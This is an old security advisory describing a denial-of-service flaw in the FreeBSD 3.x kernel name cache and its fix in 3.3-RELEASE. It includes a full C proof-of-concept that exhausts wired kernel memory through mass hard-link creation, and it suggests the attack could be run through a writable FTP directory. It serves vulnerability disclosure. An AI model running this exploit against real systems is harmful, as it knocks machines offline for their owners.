COMMAND

    kernel

SYSTEMS AFFECTED

    FreeBSD >= 3.0

PROBLEM

    Charles  M.  Hannum  found   following.   Here's  an   interesting
    denial-of-service  attack  against  FreeBSD  >=3.0  systems.    It
    abuses a flaw in the `new'  FreeBSD vfs_cache.c; it has no way  to
    purge entries unless the `vnode' (e.g. the file) they point to  is
    removed from  memory --  which generally  doesn't happen  unless a
    certain magic  number of  `vnodes' is  in use,  and never  happens
    when the `vnode' (i.e. file) is open.  Thus it's possible to  chew
    up an arbitrary amount  of wired kernel memory  relatively simply.
    What strikes  as funny  about this  is that  the relevant  code in
    4.4BSD-Lite,  which  was  in  FreeBSD  up through 2.2.8, was *not*
    susceptible to such an attack, and  all of the code to prevent  it
    was intentionally removed.

    Testing was  done on  a machine  running FreeBSD  3.2-RELEASE with
    256MB of RAM,  and it chugged  along to about  `02/03000' (meaning
    it  created  3  files  and  about  63000 or so links), consuming a
    whopping 34MB of wired kernel memory (according to `top'),  before
    all file system activity came to a screeching halt and the machine
    was unusable.

    Also note that it may be  possible to exercise this against a  FTP
    server  with  a  writable  directory  if  the  server has a way of
    creating hard links.  The code:

    #include <stdio.h>
    #include <unistd.h>
    #include <sys/stat.h>

    #define	NFILE	64
    #define	NLINK	30000
    #define	NCHAR	245

    int
    main()
    {
	    char junk[NCHAR+1],
	         dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1];
	    int i, j;
	    struct stat sb;

	    memset(junk, 'x', NCHAR);
	    junk[NCHAR] = '\0';
	    for (i = 0; i < NFILE; i++) {
		    printf("\r%02d/%05d...", i, 0),
		    fflush(stdout);
		    sprintf(dir, "%02d-%02d", i, 0);
		    if (mkdir(dir, 0755) < 0)
			    fprintf(stderr, "mkdir(%s) failed\n", dir),
			    exit(1);
		    sprintf(file1, "%s/%s%03d", dir, junk, 0);
		    if (creat(file1, 0644) < 0)
			    fprintf(stderr, "creat(%s) failed\n", file1),
			    exit(1);
		    if (stat(file1, &sb) < 0)
			    fprintf(stderr, "stat(%s) failed\n", file1),
			    exit(1);
		    for (j = 1; j < NLINK; j++) {
			    if ((j % 1000) == 0) {
				    printf("\r%02d/%05d...", i, j),
				    fflush(stdout);
				    sprintf(dir, "%02d-%02d", i, j/1000);
				    if (mkdir(dir, 0755) < 0)
					    fprintf(stderr, "mkdir(%s) failed\n", dir),
					    exit(1);
			    }
			    sprintf(file2, "%s/%s%03d", dir, junk, j%1000);
			    if (link(file1, file2) < 0)
				    fprintf(stderr, "link(%s,%s) failed\n", file1, file2),
				    exit(1);
			    if (stat(file2, &sb) < 0)
				    fprintf(stderr, "stat(%s) failed\n", file2),
				    exit(1);
		    }
	    }
	    printf("\rfinished successfully\n");
    }

SOLUTION

    This  exploit  does  not  affect  Linux  2.0.36, or any version of
    NetBSD.  Note that, although it may seem like setting quotas is  a
    good solution to this problem, if the FreeBSD system is acting  as
    a NFS client, it's  possible to use a  variant of the attack  that
    only creates  one file  and keeps  at most  one link  to it at any
    given time.

    This has been addressed and was fixed in  src/sys/kern/vfs_cache.c
    revision 1.38.2.3 before releasing the latest stable  FreeBSD-3.3:
    A tunable sysctl knob  `vfs.cache.maxaliases' which defaults to  4
    limits the number  of cache aliases  to a vnode.   In other  words
    this has been fixed in 3.3-RELEASE.